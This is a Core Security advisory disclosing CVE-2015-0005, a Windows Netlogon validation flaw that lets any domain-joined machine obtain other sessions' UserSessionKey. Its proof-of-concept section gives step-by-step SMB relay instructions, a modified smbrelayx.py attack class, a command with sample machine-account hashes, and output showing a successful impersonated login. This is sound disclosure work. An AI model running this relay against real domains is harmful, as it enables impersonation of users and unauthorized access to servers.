Core Security - Corelabs Advisory
http://corelabs.coresecurity.com/

  Windows Pass-Through Authentication Methods Improper Validation



1. *Advisory Information*

  Title: Windows Pass-Through Authentication Methods Improper Validation
  Advisory ID: CORE-2015-0005
  Advisory URL: http://www.coresecurity.com/advisories/windows-pass-through-authentication-methods-improper-validation
  Date published: 2015-03-10
  Date of last update: 2015-03-10
  Vendors contacted: Microsoft
  Release mode: Coordinated release



2. *Vulnerability Information*

  Class: Permissions, Privileges, and Access Controls [CWE-264], Improper Authentication [CWE-287]
  Impact: Security bypass
  Remotely Exploitable: Yes
  Locally Exploitable: No
  CVE Name: CVE-2015-0005



3. *Vulnerability Description*


  The Microsoft [1] Netlogon Remote Protocol is a remote procedure call (RPC) interface that is used, among other 
  things, for user and machine authentication on domain-based networks.
    


  In a scenario where a client machine connects to a domain-joined server, a pass-through authentication
  [2] must be performed in order for the server to verify the client's Credentials with the domain controller. This logon
  request must be delivered to the domain controller over a secure channel. This secure channel is achieved by encrypting
  the server to DC communication using a shared secret, commonly known as a server's machine account password.
    


  On successful authentication, the domain controller returns the UserSessionKey back to the server. This key is used for
  cryptographic operations on a session. Examples of the use of this key are generating the keys needed to signing SMB
  packets, and the keys needed for encryption/decryption of SMB sessions.
    


  Improper validation between the account used to secure the communication channel and the logon request data being
  sent to the domain controller allows third parties to obtain the UserSessionKey for communications that were not
  meant for them.
    


  At minimum this allows an attacker to:
    


  1) Perform SMB Relay attacks on domain environments where SMB Signing is enforced (workaround exists).
    


  2) Decrypt SMB3 sniffed communications (PoC not provided).
    


  Other venues of attack should be researched.
    


4. *Vulnerable Packages*

   . Windows Server 2003 Service Pack 2
   . Windows Server 2003 x64 Edition Service Pack 2
   . Windows Server 2003 with SP2 for Itanium-based Systems
   . Windows Server 2008 for 32-bit Systems with Service Pack 2
   . Windows Server 2008 for x64-based Systems with Service Pack 2
   . Windows Server 2008 for Itanium-based Systems Service Pack 2
   . Windows Server 2008 R2 for x64-based Systems Service Pack 1
   . Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
   . Windows Server 2012
   . Windows Server 2012 R2 
   . Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
   . Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
   . Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
   . Windows Server 2012 (Server Core installation)
   . Windows Server 2012 R2 (Server Core installation)


  Versions or editions that are not listed are either past their support life cycle or are not affected.


5. *Vendor Information, Solutions and Workarounds*


  Based on Core Security's analysis, SPN validation could be a good countermeasure, but it depends on the type of
  MiTM mounted. It is worth mentioning, this attack only applies on a domain environment. Standalone servers are not
  prone to this type of attack if SMB signing is enabled.
    

  Microsoft posted the following Security Bulletin: [21]


6. *Credits*


  This vulnerability was discovered and researched by Alberto Solino from the Core Engeneering Team. The publication of
  this advisory was coordinated by Joaquín Rodríguez Varela from the Core Advisories Team.
    


7. *Technical Description / Proof of Concept Code*

  Pass-Through Authentication allows a domain-joined server machine to authenticate a domain user by forwarding the
  authentication material to the domain controller aiming at receiving a confirmation of the validity of those 
  credentials, among with several  information about the account trying to log in that allows the server machine to
  establish a session and serve resources to that user. In order to send and receive this information (through the 
  NETLOGON [3] protocol), a secure channel must be established between the domain-joined server and the domain 
  controller. This secure channel is built on top of a shared secret between the server and the DC, commonly known
  as a server's machine account password. Actually, the shared secret is not based on the  server's machine account
  password but on the output of the LMOWFv1/NTOWFv1 [4] functions (a.k.a NTLM hashes).
    


  Once this channel is secured, the following NETLOGON methods are used for a Pass-Through Authentication:
    


  1) NetrLogonSamLogonEx
    

  2) NetrLogonSamLogonWithFlags
      

  3) NetrLogonSamLogon
      

  4) NetrLogonSamLogoff
    


  Let's take for example, the sequence of authenticating through the network a domain user against a domain-joined
  server, using the NTLM authentication package. The domain is called 2012R2:
    


  1) Client MACHINE-A wants to connect to domain-joined WINDOWS81 machine, with user 2012R2\USER3, using NTLM.
    


  2) Client MACHINE-A initiates a connection to WINDOWS81, port 445. NTLM protocol is chosen as the authentication
  mechanism.
    


  3) The NTLM 3-way handshake begins [5]. This ends up with a NTLM_AUTHENTICATE packet sent by MACHINE-A to WINDOWS81.
    


  4) Since WINDOWS81 doesn't have the credentials for 2012R2\USER3, it needs to verify them with the DC.
    


  5) WINDOWS81 has a trust relationship with the DC by means of WINDOWS81's computer account (let's call it
  WINDOWS81$). Using the NETLOGON  protocol, WINDOWS81 calls NetrLogonSamLogonWithFlags() at the DC, specifying 
  all the data coming from USER3's NTLM_AUTHENTICATE plus the NTLM Challenge set in previous packets. An example of
  such call is as follows:
    


/-----
 

      NetrLogonSamLogonWithFlags 
      LogonServer:                     u'\x00' 
      ComputerName:                    u'WINDOWS81\x00' 
      Authenticator:                  
          Credential:                     
              Data:                            'f\xcd\x94]&\nz\x85' 
          Timestamp:                       10 
      ReturnAuthenticator:            
          Credential:                     
        Data:                            '\x00\x00\x00\x00\x00\x00\x00\x00' 
          Timestamp:                       0 
      LogonLevel:                      NetlogonNetworkTransitiveInformation 
      LogonInformation:               
          tag:                             6 
          LogonNetworkTransitive:         
              Identity:                       
                  LogonDomainName:                 u'2012R2' 
                  ParameterControl:                0 
                  Reserved:                       
                      LowPart:                         0 
                      HighPart:                        0 
                  UserName:                        u'user3' 
                  Workstation:                     u'' 
              LmChallenge:                    
                  Data:                            '\x1a\xab8\xa4.E\x98\xe3' 
              NtChallengeResponse:             '\xd9\x94"\xd1C\xd9CT\xa3\x12\xac(\x97\xb2=\xd4\x01\x01\x00\x00\x00\x00\x00\x00N\x8b\xb3N\x1f\xc6\xcf
      \x01?9N\x1a\xe1\x1f\xfa-\x00\x00\x00\x00\x02\x00\x0c\x002\x000\x001\x002\x00R\x002\x00\x01\x00\x12\x00W\x00I\x00N\x00D\x00O\x00W\x00S\x008\x001
      \x00\x04\x00\x1a\x002\x000\x001\x002\x00R\x002\x00.\x00D\x00O\x00M\x00A\x00I\x00N\x00\x03\x00.\x00W\x00I\x00N\x00D\x00O\x00W\x00S\x008\x001\x00.
      \x002\x000\x001\x002\x00R\x002\x00.\x00D\x00O\x00M\x00A\x00I\x00N\x00\x05\x00\x1a\x002\x000\x001\x002\x00R\x002\x00.\x00D\x00O\x00M\x00A\x00I\x00N
      \x00\x07\x00\x08\x00N\x8b\xb3N\x1f\xc6\xcf\x01\x06\x00\x04\x00\x02\x00\x00\x00\x08\x000\x000\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00 \x00
      \x00\xac>qS+\x9a\xb9x\xbe\xa0\xec\xaa\x89475J\xea\xe1x\x83\xe6A]\xdf\x84%ky})\xe5\n\x00\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
      \x00\x00\x00\t\x00&\x00c\x00i\x00f\x00s\x00/\x001\x009\x002\x00.\x001\x006\x008\x00.\x006\x006\x00.\x002\x004\x003\x00\x00\x00\x00\x00\x00\x00\x00
      \x00\x00\x00\x00\x00' 
              LmChallengeResponse:             '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 
      ValidationLevel:                 NetlogonValidationSamInfo4 
      ExtraFlags:                      0 
      
       
-----/


  6) DC receives the information, and since it has USER3 credentials, it can verify whether or not the credentials
  are valid. NetrLogonSamLogonWithFlags()  returns STATUS_SUCCESS if so, otherwise it return an error.
    


  7) If NetrLogonSamLogonWithFlags() SUCCEEDS, the server returns a NETLOGON_VALIDATION structure, which could end 
  up being one of the following structures:



  a. NETLOGON_VALIDATION_SAM_INFO [6]


  b. NETLOGON_VALIDATION_SAM_INFO2 [7]


  c. NETLOGON_VALIDATION_SAM_INFO4 [8]


  The data inside those structures are needed by WINDOWS81 to further continue the session and share resources with USER3.
    


  An example of the data returned by NetrLogonSamLogonWithFlags() is shown below:
    


/-----
 

      NetrLogonSamLogonWithFlagsResponse 
      ReturnAuthenticator:            
          Credential:                     
              Data:                            '[\\\x85\xf2\x84@~\x17' 
          Timestamp:                       0 
      ValidationInformation:          
          tag:                             6 
          ValidationSam4:                 
              LogonTime:                      
                  LowPart:                         4069189522 
                  HighPart:                        30393876 
              LogoffTime:                     
                  LowPart:                         4294967295 
                  HighPart:                        2147483647 
              KickOffTime:                    
                  LowPart:                         4294967295 
                  HighPart:                        2147483647 
              PasswordLastSet:                
                  LowPart:                         738500373 
                  HighPart:                        30393272 
              PasswordCanChange:              
                  LowPart:                         1450073877 
                  HighPart:                        30393473 
              PasswordMustChange:             
                  LowPart:                         4294967295 
                  HighPart:                        2147483647 
              EffectiveName:                   u'user3' 
              FullName:                        NULL 
              LogonScript:                     NULL 
              ProfilePath:                     NULL 
              HomeDirectory:                   NULL 
              HomeDirectoryDrive:              NULL 
              LogonCount:                      5 
              BadPasswordCount:                0 
              UserId:                          1113 
              PrimaryGroupId:                  513 
              GroupCount:                      2 
              GroupIds:                       
                  [
                 
                      RelativeId:                      512 
                      Attributes:                      7 ,
                       
                      RelativeId:                      513 
                      Attributes:                      7 ,
                  ] 
              UserFlags:                       2336 
              UserSessionKey:                 
                  Data:                            '\xb1\x8eg\x91\xfdK\x9d\xd0\x12\x8b\x9f\x9e\x8e\x19\xe9"' 
              LogonServer:                     u'2012R2DOMAIN-DC' 
              LogonDomainName:                 u'2012R2' 
              LogonDomainId:                  
                  Revision:                        1 
                  SubAuthorityCount:               4 
                  IdentifierAuthority:             '\x00\x00\x00\x00\x00\x05' 
                  SubAuthority:                   
                      [
                          21,
                          1456083388,
                          2901136423,
                          1501488623,
                      ] 
              LMKey:                           '\xb1\x8eg\x91\xfdK\x9d\xd0' 
              UserAccountControl:              528 
              SubAuthStatus:                   0 
              LastSuccessfulILogon:           
                  LowPart:                         0  
                  HighPart:                        0 
                LastFailedILogon:               
                  LowPart:                         0 
                  HighPart:                        0 
              FailedILogonCount:               0 
              Reserved4:                       0 
              SidCount:                        1 
              ExtraSids:                      
                  [
                       
                      Sid:                            
                          Revision:                        1 
                          SubAuthorityCount:               5 
                          IdentifierAuthority:             '\x00\x00\x00\x00\x00\x05' 
                          SubAuthority:                   
                              [
                                  21,
                                  1456083388,
                                  2901136423,
                                  1501488623,
                                  572,
                              ] 
                      Attributes:                      536870919 ,
                  ] 
              DnsLogonDomainName:              u'2012R2.DOMAIN' 
              Upn:                             u'user3@2012R2.DOMAIN' 
              ExpansionString1:                NULL 
              ExpansionString2:                NULL 
              ExpansionString3:                NULL 
              ExpansionString4:                NULL 
              ExpansionString5:                NULL 
              ExpansionString6:                NULL 
              ExpansionString7:                NULL 
              ExpansionString8:                NULL 
              ExpansionString9:                NULL 
              ExpansionString10:               NULL 
      Authoritative:                   1 
      ExtraFlags:                      0 
      ErrorCode:                       0 
      
       
-----/


  As can be seen, there's a field called UserSessionKey. According to [9]:
    


  The NETLOGON_NETWORK_INFO and NETLOGON_VALIDATION_SAM_INFO4 data structures SHOULD be exchanged ([MS-NRPC] sections
  2.2.1.4.5 and 2.2.1.4.13). The DC MUST populate the NETLOGON_VALIDATION_SAM_INFO4 with the information for the user
  logging on and return the SessionBaseKey ([MS-NLMP] section 3.3.1 and 3.3.2) in the UserSessionKey field in
  NETLOGON_VALIDATION_SAM_INFO4, and MUST send it back to the NTLM server. If no matching  account is found, an error
  STATUS_NO_SUCH_USER (section 2.2) MUST be returned to the NTLM server, resulting in a logon failure.'
    


  This SessionBaseKey is used as a base key for cryptographic operations between the client and server machine.
  Since the calculation of this key requires knowing the user's LMOWFv1/NTOWFv1, it makes sense the domain controller
  returning this data, since WINDOWS81 doesn't have the user's credentials.
    


  The SessionBaseKey is used, at least, to calculate the SMB Signing [10] and Encryption [11] keys.
    


  Up to this stage, this is the normal behavior when a server needs to authenticate a client with domain credentials.
    


  Based on [13] the NetrLogonSamLogonWithFlags's ComputerName parameter is defined as 'The Unicode string that
  contains the NetBIOS name of the client computer calling this method.' In theory, the ComputerName parameter and
  the machine account that established the NETLOGON session should be the same (except for the '$' sign).
    


  What we found while implementing the NETLOGON protocol [12] is the domain controller not verifying whether the
  authentication information being sent, was actually meant to the domain-joined machine that is requesting
  this operation (e.g. NetrLogonSamLogonWithFlags()).
    


  What this means is that any domain-joined machine can verify any pass-through authentication against the domain
  controller, and to get the base  key for cryptographic operations for any session within the domain.
    


  As a proof of concept we developed the SMB Relay attack whenever SMB Signing is enforced within the domain.
    


  SMB Relay (actually NTLM Relay) has been well documented over the years, but in essence allows an attacker 
  that manages to sit in the middle between a victim and a target server to impersonate the victim against the
  target server.
    


  One of the mitigations mentioned on several papers is the implementation of SMB Signing [14][15], since, in
  order to calculate the signing key, the attacker needs to have the user's password OWF (LMOWFv1 and/or NTOWFv1).
    


  To carry out this attack, we would need a machine account password (or NTLM hash) in order to interact
  with the domain controller through NETLOGON. Getting a machine account credential is not a complicated
  task if an attacker has either:
    


  1) Local Administrative access to one domain joined machine (several tools can dump the local SAM accounts [16]).
      


  2) A normal domain user (so it can perform a fake domain join).
    


  The high level flow would be as follows:
    


  Assumptions:
    


  1) We have a machine account's LMOWFv1/NTOWFv1 hashes (called MACHINE-ACCOUNT hashes).
    


  2) We know the DC IP address or FQDN (called DC-MACHINE).
    


  3) We targeted a victim user (called USER-A), tricking him into connecting to our machine 
  (ATTACKER-MACHINE) with his domain credentials.

    

  4) We want to authenticate ourselves with the USER-A credentials against a target machine (called TARGET-MACHINE).
    


  5) This domain environment enforces SMB Signing.
    

  The packet's flow would be like this:
    


  1) USER-A connects to ATTACKER-MACHINE, starts an SMB Connection.
    


  2) ATTACKER-MACHINE connects to TARGET-MACHINE, starts an SMB Connection, and gets TARGET-MACHINE 
  SMB_COM_NEGOTITATE response.
    


  3) ATTACKER-MACHINE forwards the SMB_COM_NEGOTIATE packet back to USER-A.
    


  4) USER-A starts the SMB_SESSION_SETUP_ANDX procedure, sending the NTLM_NEGOTIATE packet.
    


  5) ATTACKER-MACHINE forwards the NTLM_NEGOTIATE packet to TARGET-MACHINE, and receives a NTLM_CHALLENGE.
    


  6) ATTACKER-MACHINE forwards the NTLM_CHALLENGE back to USER-A.
    


  7) USER-A sends a NTLM_AUTHENTICATE message to ATTACKER-MACHINE.
    


  8) ATTACKER-MACHINE forwards the NTLM_AUTHENTICATE message to TARGET-MACHINE. If the answer is
  STATUS_SUCCESS, it means the credentials are valid.
    


  Up to here, this is a normal SMB Relay attack. The following steps are performed in order to acquire
  the SMB Signing key
    


  9) ATTACKER-MACHINE connects to DC-MACHINE NETLOGON's protocol, authenticating itself using
  MACHINE-ACCOUNT hashes.
    


  10) ATTACKER-MACHINE calls NETLOGON's NetrLogonSamLogonWithFlags() specifying the following information:
    


  a. ComputerName: TARGET-MACHINE
    


  b. ValidationLevel: NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4
    


  c. LogonLevel: NETLOGON_VALIDATION_INFO_CLASS.NetlogonNetworkTransitiveInformation
    


  d. LogonNetworkTransitive/Identity/LogonDomainName: The domainname
    


  e. LogonNetworkTransitive/Identity/ParameterControl: 0
    


  f. LogonNetworkTransitive/Identity/UserName: USER-A
    


  g. LogonNetworkTransitive/Identity/Workstation: ''
    


  h. LogonNetworkTransitive/Identity/LmChallenge: The challenge field of the NTLM_CHALLENGE structure.
    


  i. LogonNetworkTransitive/Identity/NtChallengeResponse: the NtChallengeResponse from the NTLM_AUTHENTICATE structure.
    


  j. LogonNetworkTransitive/Identity/LmChallengeResponse: the LmChallengeResponse from the NTLM_AUTHENTICATE structure.
    


  11) The return of this call will contain a NETLOGON_VALIDATION_SAM_INFO4 structure, that contains, among other 
  things, the UserSessionKey. Depending on the negotiation flags, this could be the straight SMB Signing key, or 
  an extra transformation should be made (calling generateEncryptedSessionKey()).
    


  12) Attacker now has a valid connection with TARGET-MACHINE, authenticated as USER-A, and now has the
  SMB Signing key needed to perform further SMB commands against TARGET-MACHINE.
    


7.1. *Proof of Concept*


  In order to test this attack the following infrastructure is needed:
      

  1) A domain controller, exporting the SYSVOL share to normal users (this is just for the PoC).
  Domain Name: TESTDOMAIN, Domain IP: 192.168.1.100.
      

  2) A domain joined machine, acting as the victim machine. A domain user must be logged on that machine.
  (IP: 192.168.1.220)
      

  3) An attackers machine, doesn't need to be joined to the domain. Since we will be performing the attack from this 
  machine, we will need to bind to TCP port 445. Using a Unix machine would be the easiest way since on Windows this
  is harder. Attacker's Machine IP: 192.168.1.200
      

  4) A valid machine account name and NTLM hashes. Assuming it is:
      

  a. account name: TEST-MACHINE$
      

  b. NTHASH/LMHASH: aad3b435b51404eeaad3b435b51404ee:a52b1cddfa877184bc34c39b4da137db
      

  The machine NTLM hashes can be obtained by using any publicly available LSA secrets dump application.[10]


  5) The smbrelayx.py script [17] and the impacket library installed [18].
      

  6) Change smbrelayx.py doAttack() class to the following:
      


/-----
 
        class doAttack(Thread):
          def __init__(self, SMBClient, exeFile):
            Thread.__init__(self)
            self.SMBClient = SMBClient

          def run(self):
            # Here PUT YOUR CODE!
            from impacket.smbconnection import SMBConnection
            smbConnection = SMBConnection(existingConnection=self.SMBClient)
            files =  smbConnection.listPath('SYSVOL','\\*')
            print "EVIDENCE: SYSVOL's contents!"
            for file in files:
              print file.get_longname()
            smbConnection.logoff()
           
-----/


  Usage:
      

  From the attackers machine run:
      


/-----
 
      python smbrelayx.py -h 192.168.1.100 -e NOTHING -machine-account TESTDOMAIN/TEST-MACHINE\$ -machine-hashes aad3b435b51404eeaad3b435b51404ee:a52b1cddfa877184bc34c39b4da137db -domain 192.168.1.100
         
-----/


  From the victim's machine, with a valid domain user logged in, run from the command prompt:
      


/-----
 
      dir \\192.168.1.200\c$
         
-----/


  At the smbrelayx.py execution, you will see:
      


/-----
 

      Impacket v0.9.12 - Copyright 2002-2014 Core Security Technologies

      [*] Running in relay mode
      [*] Config file parsed
      [*] Setting up SMB Server
      [*] Servers started, waiting for connections
      [*] Incoming connection (192.168.1.220,58702)
      [*] SMBD: Received connection from 192.168.1.220, attacking target 192.168.1.100
      [*] Signature is REQUIRED on the other end, using NETLOGON approach
      [*] Connecting to 192.168.1.100 NETLOGON service
      [*] TESTDOMAIN\usera successfully validated through NETLOGON
      [*] SMB Signing key: 3b8aa5a6cde5175acf676ba312b62404 
      [*] Authenticating against 192.168.1.100 as TESTDOMAIN\usera SUCCEED
      [!] TreeConnectAndX not found C$
      [!] TreeConnectAndX not found C$
      EVIDENCE: SYSVOL's contents! 
      .
      ..
      TESTDOMAIN

      ----
      
         
-----/


  If you want to perform more actions instead of just listing the SYSVOL contents, check the doAttack.run() method 
  inside smbrelayx.py
      


8. *Report Timeline*

. 2014-05-27:
  Core Security sent the first notification to Microsoft, including a technical description
        and a Proof of Concept to reproduce the vulnerability. Publication date set to Jun 30, 2014.
      

. 2014-05-27:
        Microsoft assigns the tracking number 19179 and informs their team will be investigating
        our report.
      

. 2014-06-25:
  Core Security requested an update on the investigations and expressed we are still planning to release the
        advisory on June 30th.
      

. 2014-07-03:
  Core Security requested an update on the investigations and expressed we decided to postpone the release date
        from June 30th to July 10th giving additional time to reply back.
      

. 2014-07-07:
        Microsoft claims the issue has been publicly know since 2009 and the advisories
        [19] and [20].
      

. 2014-07-09:
        Microsoft informs that took another look to the issue and thinks there may be a bigger
        problem than just the NTLM as they previously stated. Requests to hold off the publishing
        of the advisory.
      

. 2014-07-15:
  Core Security insists that SMB Signing is not an effective way of mitigating this problem as
        demonstrated in the PoC sent in the original report. We inform we decided not to publish a
        advisory but we will write a blog post with the technical description.
      

. 2014-07-24:
  Core Security informed that we will publish the blog and related tools on August 4th, considering we didn't 
        receive a reply.
      

. 2014-07-28:
        Microsoft informs they were able to reproduce the issue and are working on a fix. They request
        if possible to hold off CORE Security's publication.
      

. 2014-08-12:
  Core Security, considering their acknowledgment of the issue, will be publishing an advisory. Core Security
  requested a tentative ETA for making the advisory public.
      

. 2014-08-18:
        Microsoft informs they don't have an ETA but are working to define one. Microsoft request a draft of
        the advisory.
      

. 2014-08-20:
  Core Security informed Microsoft that will be sending them a draft copy of the Advisory next week.
      

. 2014-09-11:
  Core Security sent a draf version of the advisory.
      

. 2014-09-23:
  Core Security requested a reception confirmation of the draft version of the advisory.
      

. 2014-09-24:
        Microsoft confirms reception. They inform they are tentatively scheduling a December release.
      

. 2014-10-23:
  Core Security requested the specific date for releasing the fix in order to schedule the advisory
        accordingly.
      

. 2014-11-03:

        Microsoft informs that they are planning a January release but it could change if they find
        variants or run into issues on their test pass.
      

. 2014-11-05:
  Core Security requested the vendor that we would like to respect the original release date considering
        that the issue was originally reported on the 27 of May, 2014.
      

. 2014-11-10:
        Microsoft informs that they are expecting to ship the fix in January because they have other
        deployment priorities.
      

. 2014-12-16:
  Core Security requested the vendor a specific date for the release of the fix and we inform them that
        we are planning to release the advisory on Tuesday 13th of January, 2015.
      

. 2015-01-02:
        Microsoft informs that they are not going to meet the expectations for a fix in January because
        they require to fix the NETLOGON API, and during its application compatibility testing they
        identified a major service provider that is affected by their fix.
      

. 2015-02-24:
  Core Security requested the vendor an updated time frame for publishing the fix of the bug.
      

. 2015-02-27:
        Microsoft informs that they currently finalizing the final test pass and that they should have a
        concrete date for next week. At the moment they have it scheduled for March 10th, 2015. They
        request as well how we would lke to be credited in the Bulletin.
      

. 2015-03-02:
  Core Security informed them how we would like to be credited and requested them a daft copy of their 
        Bulletin and a copy of the fix in order to make internal tests.
      

. 2015-03-02:
        Microsoft informs us that they cannot share packages early unless we are under NDA with them and
        in the SUVP program.
      

. 2015-03-03:
  Core Security informed them that we were disappointed by their response considering that we have been 
        cooperating with them for more than 9 months and have disclosed higly confidential information
        with them. We informed them that we are going to publish the advisory on March 10th.
      

. 2015-03-09:
        Microsoft confirmed us that their Security Bulletin was going to be published March 10th, 10:00 AM EST.
  They requested Core Security to ckeck the acknowledgment they were going to use.
      

. 2015-03-09:
  Core Security thanked Microsoft for the information provided and informed them how the Advisory should be
  acknowledged. Core Security requested Microsoft a CVE ID, considering they are listed as a CVE Numbering 
  Authority. Core Security sent them the link of were our  advisory is going to be published.
      

. 2015-03-09:
        Microsoft issued the CVE-2015-0005 and ask Core Security if we wanted them to link our Advisory in their
  acknowledgment.
      

. 2015-03-09:
  Core Security requested, that if possible, they could link our advisory in the acknowledgment.
      

. 2015-03-10:
        Advisory CORE-2015-0005 published.
      


9. *References*

[1] http://www.microsoft.com/.
    
[2] http://msdn.microsoft.com/en-us/library/cc237015.aspx.
    
[3] http://msdn.microsoft.com/en-us/library/cc237008.aspx.
    
[4] http://msdn.microsoft.com/en-us/library/gg604667.aspx.

[5] http://msdn.microsoft.com/en-us/library/cc236629.aspx.

[6] http://msdn.microsoft.com/es-co/cc237066.

[7] http://msdn.microsoft.com/es-co/cc237067.
    
[8] http://msdn.microsoft.com/en-us/library/cc237068.aspx.
    
[9] http://msdn.microsoft.com/en-us/library/cc223986.aspx.
    
[10] http://msdn.microsoft.com/en-us/library/cc246684.aspx.
    
[11] http://msdn.microsoft.com/en-us/library/ee441770.aspx.
    
[12] https://code.google.com/p/impacket/source/browse/tags/impacket_0_9_12/impacket/dcerpc/v5/nrpc.py.
    
[13] https://msdn.microsoft.com/en-us/library/cc237250.aspx.
    
[14] http://blogs.technet.com/b/msrc/archive/2008/11/11/ms08-068-and-smbrelay.aspx.
    
[15] http://technet.microsoft.com/en-us/library/cc512612.aspx.
    
[16] https://code.google.com/p/impacket/source/browse/tags/impacket_0_9_12/examples/secretsdump.py.
    
[17] https://code.google.com/p/impacket/source/browse/trunk/examples/smbrelayx.py.
    
[18] https://code.google.com/p/impacket/.
    
[19] https://technet.microsoft.com/en-us/library/security/974926.aspx.
    
[20] https://technet.microsoft.com/en-us/library/security/973811.aspx.
    
[21] https://technet.microsoft.com/en-us/library/security/ms15-027.aspx.
    


10. *About CoreLabs*

      CoreLabs, the research center of Core Security, is charged with anticipating
      the future needs and requirements for information security technologies.
      We conduct our research in several important areas of computer security
      including system vulnerabilities, cyber attack planning and simulation,
      source code auditing, and cryptography. Our results include problem
      formalization, identification of vulnerabilities, novel solutions and
      prototypes for new technologies. CoreLabs regularly publishes security
      advisories, technical papers, project information and shared software
      tools for public use at:
      http://corelabs.coresecurity.com.
    


11. *About Core Security*


      Core Security enables organizations to get ahead of threats
      with security test and measurement solutions that continuously identify
      and demonstrate real-world exposures to their most critical assets. Our
      customers can gain real visibility into their security standing, real
      validation of their security controls, and real metrics to more
      effectively secure their organizations.
    


      Core Security's software solutions build on over a decade of trusted
      research and leading-edge threat expertise from the company's Security
      Consulting Services, CoreLabs and Engineering groups. Core Security
      can be reached at +1 (617) 399-6980 or on the Web at:
      http://www.coresecurity.com.
    


12. *Disclaimer*


      The contents of this advisory are copyright
      (c) 2015 Core Security and (c) 2015 CoreLabs,
      and are licensed under a Creative Commons
      Attribution Non-Commercial Share-Alike 3.0 (United States) License:
      http://creativecommons.org/licenses/by-nc-sa/3.0/us/


13. *PGP/GPG Keys*


      This advisory has been signed with the GPG key of Core Security advisories
      team, which is available for download at
      http://www.coresecurity.com/files/attachments/core_security_advisories.asc.